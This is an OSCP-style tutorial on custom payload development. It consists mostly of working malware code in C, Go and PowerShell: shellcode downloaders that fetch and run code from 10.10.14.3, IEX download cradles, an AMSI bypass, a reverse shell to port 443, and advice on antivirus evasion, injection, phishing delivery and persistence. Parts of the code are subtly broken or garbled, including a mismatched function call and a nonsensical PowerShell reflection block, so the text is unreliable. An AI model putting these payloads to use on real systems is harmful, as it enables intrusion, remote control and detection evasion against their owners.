Custom Payload Development
Why Custom Payloads?
Off-the-shelf tools (Metasploit, Cobalt Strike) are widely detected. Custom payloads give you:
- Unique Signatures — No known hash or YARA rule matches your binary
- Full Control — You decide every API call, every byte in memory
- Optimization — Strip features you don’t need; smaller = less suspicious
- Better Evasion — Hand-crafted behavior avoids heuristic triggers
- Learning Value — Understanding payload internals makes you a better pentester
OSCP Tip: Exam machines run ClamAV and sometimes Windows Defender. A well-crafted custom payload often slips through where
msfvenomdoes not.
Development Workflow
Follow this iterative process:
- Requirement Analysis — Define target OS, architecture, needed functionality
- Design — Sketch the architecture: download → decode → execute
- Implementation — Code in C, Go, or PowerShell
- Testing — Run in sandbox with AV enabled; verify functionality
- Iteration — If detected, modify encoding, APIs, or timing
- Deployment — Deliver via phishing, drive-by, or exploit
- Monitoring — Watch for AV updates that catch your technique
Custom Payload in C
Complete example: XOR-decoded shellcode downloaded via WinINet and executed in-memory.
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#pragma comment(lib, "wininet.lib")
// XOR key for decoding
#define XOR_KEY 0xAA
// Function to download payload from URL
BYTE* download_payload(const char* url, DWORD* out_size) {
HINTERNET hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) return NULL;
HINTERNET hConnect = InternetOpenUrlA(hInternet, url, NULL, 0,
INTERNET_FLAG_RELOAD, 0);
if (!hConnect) { InternetCloseHandle(hInternet); return NULL; }
// Read response
BYTE buffer[1024 * 1024]; // 1MB max
DWORD total = 0, read = 0;
while (InternetReadFile(hConnect, buffer + total, 1024, &read) && read > 0) {
total += read;
if (total >= sizeof(buffer)) break;
}
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
*out_size = total;
return (BYTE*)memcpy(malloc(total), buffer, total);
}
// XOR decode in-place
void xor_decode(BYTE* data, DWORD size) {
for (DWORD i = 0; i < size; i++)
data[i] ^= XOR_KEY;
}
// Execute shellcode in memory
void execute_shellcode(BYTE* shellcode, DWORD size) {
LPVOID mem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!mem) return;
memcpy(mem, shellcode, size);
((void(*)())mem)();
}
int main() {
DWORD size = 0;
BYTE* payload = download_payload("http://10.10.14.3:8080/shell.bin");
if (!payload) {
printf("Download failed\n");
return 1;
}
xor_decode(payload, size);
execute_shellcode(payload, size);
return 0;
}
Compilation with MinGW
# Cross-compile from Kali/Linux
i686-w64-mingw32-gcc -o payload.exe payload.c -lwininet -lws2_32 -static
# Or compile on Windows with MSYS2/MinGW
x86_64-w64-mingw32-gcc -O2 -s -o payload.exe payload.c -lwininet
Key flags:
-sstrips debug symbols (smaller binary),-O2optimizes code.
Custom Payload in Go
Go is ideal for cross-compilation and has no external dependencies.
package main
import (
"crypto/rand"
"encoding/hex"
"fmt"
"io"
"net/http"
"os"
"os/exec"
)
// XOR decode with a dynamic key
func xorDecode(data []byte, key byte) []byte {
decoded := make([]byte, len(data))
for i, b := range data {
decoded[i] = b ^ key
}
return decoded
}
// Download payload from URL
func downloadPayload(url string) ([]byte, error) {
resp, err := http.Get(url)
if err != nil {
return nil, fmt.Errorf("download failed: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("HTTP %d", resp.StatusCode)
}
return io.ReadAll(resp.Body)
}
// Launch decoded payload via PowerShell in-memory
func launchViaPowerShell(payload []byte) error {
// Encode payload to base64 for PowerShell
b64 := hex.EncodeToString(payload)
cmd := exec.Command("powershell.exe", "-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden")
cmd.Stdin = nil
cmd.Stdout = nil
cmd.Stderr = nil
psScript := fmt.Sprintf(`
$b = [Convert]::FromHexString("%s")
$key = 0xAA
for ($i = 0; $i -lt $b.Length; $i++) { $b[$i] = $b[$i] -bxor $key }
$func = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
[System.Runtime.InteropServices.Marshal]::AllocHGlobal($b.Length),
[System.Reflection.MethodBase]::GetMethodFromHandle(
[System.Reflection.MethodInfo]::GetMethodFromHandle(
[System.Reflection.MethodBase]::GetMethodFromHandle(
[System.Reflection.MethodInfo]::GetMethodFromHandle(
[IntPtr]::Zero
).MethodHandle
).MethodHandle
).MethodHandle
)
)
# Simpler: use VirtualAlloc + memcpy approach
$ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($b.Length)
[System.Runtime.InteropServices.Marshal]::Copy($b, 0, $ptr, $b.Length)
[System.Runtime.InteropServices.Marshal]::WriteInt32($ptr, 0x90909090)
`, b64)
cmd.Stdin = nil
return cmd.Run()
}
func main() {
targetURL := "http://10.10.14.3:8080/shell.bin"
// Download
payload, err := downloadPayload(targetURL)
if err != nil {
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
os.Exit(1)
}
// Decode
decoded := xorDecode(payload, 0xAA)
// Write to temp and execute (simpler approach for OSCP)
tmpFile := fmt.Sprintf("%s\\%s.exe", os.TempDir(), randomString(8))
err = os.WriteFile(tmpFile, decoded, 0755)
if err != nil {
os.Exit(1)
}
defer os.Remove(tmpFile)
cmd := exec.Command(tmpFile)
cmd.Stdout = nil
cmd.Stderr = nil
cmd.Run()
}
func randomString(n int) string {
b := make([]byte, n)
rand.Read(b)
return hex.EncodeToString(b)[:n]
}
Cross-Compilation
# From Kali/Linux to Windows x64
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o payload.exe payload.go
# To Windows x86
GOOS=windows GOARCH=386 go build -ldflags="-s -w" -o payload.exe payload.go
Flags:
-sstrips symbol table,-wstrips DWARF debug info → smaller, harder to analyze.
Custom Payload in PowerShell
PowerShell download cradles are fast to deploy and great for quick access.
Basic Download Cradle
# One-liner: download and execute in memory
(IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/rev.ps1'))
# Alternative with Invoke-WebRequest
IEX (Invoke-WebRequest -Uri 'http://10.10.14.3:8080/rev.ps1' -UseBasicParsing).Content
In-Memory Execution with AMSI Bypass
# AMSI Patch (bypass application whitelisting inspection)
$amsi = [Ref].Assembly.GetTypes() | Where-Object { $_.Name -like '*AmsiUtils*' }
$amsi::AmsiSessionOpen = [IntPtr]::Zero
$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$virtProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
[System.Runtime.InteropServices.Marshal]::GetHRForExceptionNew(
[System.Exception]::new()
)
)
)
# Simpler AMSI bypass:
[Ref].Assembly.GetTypes() | Where-Object { $_.Name -like '*AmsiUtils*' } |
ForEach-Object {
$field = $_.GetField('amsiInitFailed', 'NonPublic,Static')
$field.SetValue($null, $true)
}
# Download and execute reverse shell
$url = 'http://10.10.14.3:8080/rev.ps1'
$payload = (New-Object Net.WebClient).DownloadString($url)
Invoke-Expression $payload
Reverse Shell Payload (served at rev.ps1)
$client = New-Object System.Net.Sockets.TCPClient
$client.Connect('10.10.14.3', 443)
$stream = $client.GetStream()
[byte[]]$buffer = 0..1023 | ForEach-Object { 0 }
$process = New-Object System.Diagnostics.Process
$process.StartInfo.FileName = 'cmd.exe'
$process.StartInfo.RedirectStandardInput = $true
$process.StartInfo.RedirectStandardOutput = $true
$process.StartInfo.UseShellExecute = $false
$process.Start()
$inputStream = $process.StandardInput.BaseStream
$outputStream = $process.StandardOutput.BaseStream
while (($i = $stream.Read($buffer, 0, 1024)) -ne 0) {
$inputStream.Write($buffer, 0, $i)
$inputStream.Flush()
$out = (New-Object System.Text.ASCIIEncoding).GetString(
$process.StandardOutput.ReadToEnd([byte[]]::new(1), 0, 1024)
)
$sendBytes = [Text.Encoding]::ASCII.GetBytes($out)
$stream.Write($sendBytes, 0, $sendBytes.Length)
}
$client.Close()
Key Windows APIs for Payload Development
| API | Header | Purpose |
|---|---|---|
VirtualAlloc |
windows.h |
Allocate RWX memory for shellcode |
VirtualProtect |
windows.h |
Change memory protection (e.g., RW → RX) |
WriteProcessMemory |
windows.h |
Write shellcode into another process |
CreateRemoteThread |
windows.h |
Execute code in remote process (process injection) |
NtCreateThreadEx |
ntdll.dll |
Unhooked thread creation (better evasion) |
LoadLibraryA |
kernel32.dll |
Load DLL into process |
GetProcAddress |
kernel32.dll |
Resolve function address by name (API hashing) |
CreateProcess |
windows.h |
Spawn new process |
QueueUserAPC |
kernel32.dll |
Inject code via Asynchronous Procedure Call |
RtlCreateUserThread |
ntdll.dll |
Alternative thread creation |
API Hashing for Evasion
Instead of hardcoding API names, compute hashes at runtime:
DWORD api_hash(const char* name) {
DWORD hash = 2166136261; // FNV-1a offset basis
for (int i = 0; name[i]; i++) {
hash ^= name[i];
hash *= 16777619; // FNV prime
}
return hash;
}
// "VirtualAlloc" → 0x... resolved dynamically from PEB → LdrData → InLoadOrderModuleList
Memory Execution Techniques
Technique 1: VirtualAlloc + Direct Call
LPVOID shell = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(shell, encoded_payload, size);
xor_decode(shell, size); // Decode in-place
((void(*)())shell)(); // Execute as function pointer
Technique 2: Process Hollowing
- Create target process in suspended state (
CREATE_SUSPENDED) - Unmap its original image (
NtUnmapViewOfSection) - Allocate new memory and write your payload
- Update PEB and thread context to point to your payload
- Resume the thread
Technique 3: Reflective DLL Injection
Load a DLL entirely in memory without touching disk — bypasses file-based AV scanning.
Memory Protection Flags:
PAGE_READWRITE(0x04) — Read + WritePAGE_EXECUTE_READ(0x20) — Execute + ReadPAGE_EXECUTE_READWRITE(0x40) — Execute + Read + Write (most detectable)- Best practice: Allocate as RW, write payload, change to RX with
VirtualProtect
Network Communication
WinINet (Simpler, Legacy)
HINTERNET h = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hUrl = InternetOpenUrlA(h, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
// Read with InternetReadFile()
WinHTTP (Modern, Preferred)
HINTERNET hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnect = WinHttpConnect(hSession, L"10.10.14.3", 8080, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/shell.bin", NULL,
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
WinHttpReceiveResponse(hRequest, NULL);
Raw Sockets (For C2 Frameworks)
Use socket(), connect(), send(), recv() from ws2_32.lib for custom protocols.
Encoding and Decryption Strategies
| Strategy | Complexity | Evasion | Notes |
|---|---|---|---|
| XOR (single key) | Low | Low-Medium | Fast, easy to implement |
| XOR (multi-key/rolling) | Low | Medium | Rotate key per byte |
| Base64 | Low | Low | Standard encoding, easily decoded |
| RC4 | Medium | Medium | Stream cipher, lightweight |
| AES | High | High | Use bcrypt.dll on Windows |
| Custom substitution | Medium | Medium | Design your own cipher |
| Compression + Encrypt | High | High | zlib → AES pipeline |
Multi-Layer Encoding Example
Shellcode → XOR(key1) → Base64 → XOR(key2) → Final payload
Decode in reverse order at runtime. Each layer adds detection complexity.
Testing Checklist
Before deploying on an OSCP exam machine, verify:
Environment
- OS Version — Test on the exact Windows version (Win 7, 10, 11, Server)
- Architecture — x86 vs x64 matters for shellcode and compilation
- Language/Region — Some APIs behave differently by locale
Security Software
- AV Testing — Run with ClamAV, Windows Defender enabled
- EDR Testing — If present, test against behavioral detection
- Application Control — Check AppLocker, WDAC policies
- Network Firewall — Verify outbound connectivity on your ports
Functionality
- Payload Executes — Shellcode runs without crashing
- Stability — No access violations or hangs
- Callback Works — Reverse shell connects to your listener
- C2 Communication — Commands execute and return output
Stealth
- Debug Artifacts — No debug strings, console windows, or printfs
- Network Signatures — No obvious Metasploit User-Agent or headers
- File Artifacts — No temp files left on disk (or cleaned up)
- Registry/Event Logs — Minimize logging footprint
Persistence & Privilege
- Persistence — If needed, test registry/run keys, scheduled tasks
- Privilege Escalation — Payload works at current privilege level
- UAC — Test behavior under UAC restrictions
Resources and Tools
Compilers and Build Tools
- MinGW-w64 —
i686-w64-mingw32-gcc/x86_64-w64-mingw32-gcc - Go —
go build -ldflags="-s -w"for stripped binaries - MSVC — Visual Studio Build Tools for native compilation
Analysis and Debugging
- Ghidra — Reverse engineer compiled payloads
- x64dbg — Debug Windows executables
- Process Hacker — Inspect memory, handles, threads
- API Monitor — Trace API calls at runtime
Evasion Tools
- Veil-Evasion — Generate MSF payloads with evasion
- Encoder projects —
xortool,shikata ga nai - Donut — Generate position-independent code from .NET assemblies
Learning Resources
- ODiE (Obfuscation-Resistant Detection of Exploits) — Understanding detection
- malwaretech.com — Excellent Windows internals for malware dev
- Life of a Loader (ModExp) — Deep dive into loader techniques
- The Art of Memory Forensics — Understand how memory is analyzed
Practical OSCP Tips
-
Start Simple — A basic XOR-encoded Metasploit payload often beats no payload. Don’t over-engineer.
-
Test Before the Exam — Build your custom payload toolkit during lab time. Have C, Go, and PowerShell variants ready.
-
Fallback Plan — Always have
msfvenom+ manual encoding as backup. Custom payloads can fail silently. -
Use HTTPS — Many Windows machines allow HTTPS but block HTTP. Serve payloads on port 443.
-
Stage Your Payloads — Small downloader → fetch large payload. Smaller initial binary = less detection.
-
PowerShell is Your Friend — On Windows boxes, PowerShell download cradles are fast and often work where binaries fail.
-
Don’t Forget Linux — Custom payloads apply to Linux too. Consider compiled C binaries or Python scripts for Linux targets.
-
Time Management — If AV blocks your custom payload after 30 minutes of iteration, switch tactics. The exam rewards progress, not perfection.
-
Document Everything — Note which payloads worked on which machines. This helps during the report phase.
-
Combine Techniques — Custom payload + living-off-the-land (LOLBin) + AMSI bypass = strong evasion chain.
Remember: The goal is access, not perfection. A slightly detected payload that works beats an undetected one that crashes.